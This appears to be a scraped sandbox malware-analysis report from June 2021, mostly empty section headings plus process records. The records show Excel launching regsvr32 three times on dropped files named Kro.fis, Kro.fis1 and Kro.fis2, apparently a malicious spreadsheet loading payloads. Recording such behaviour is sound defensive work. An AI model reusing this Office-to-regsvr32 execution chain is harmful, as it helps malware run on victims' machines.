                                                                                                                                                  Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                  Code Manipulations

                                                                                                                                                  Statistics

                                                                                                                                                  CPU Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  Memory Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  High Level Behavior Distribution

                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                  Behavior

                                                                                                                                                  Click to jump to process

                                                                                                                                                  System Behavior

                                                                                                                                                  General

                                                                                                                                                  Start time:18:31:56
                                                                                                                                                  Start date:25/06/2021
                                                                                                                                                  Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
                                                                                                                                                  Imagebase:0xce0000
                                                                                                                                                  File size:27110184 bytes
                                                                                                                                                  MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Start time:18:32:04
                                                                                                                                                  Start date:25/06/2021
                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:regsvr32 ..\Kro.fis
                                                                                                                                                  Imagebase:0x1150000
                                                                                                                                                  File size:20992 bytes
                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Start time:18:32:04
                                                                                                                                                  Start date:25/06/2021
                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:regsvr32 ..\Kro.fis1
                                                                                                                                                  Imagebase:0x1150000
                                                                                                                                                  File size:20992 bytes
                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Start time:18:32:05
                                                                                                                                                  Start date:25/06/2021
                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:regsvr32 ..\Kro.fis2
                                                                                                                                                  Imagebase:0x1150000
                                                                                                                                                  File size:20992 bytes
                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  Disassembly

                                                                                                                                                  Code Analysis

                                                                                                                                                  Reset < >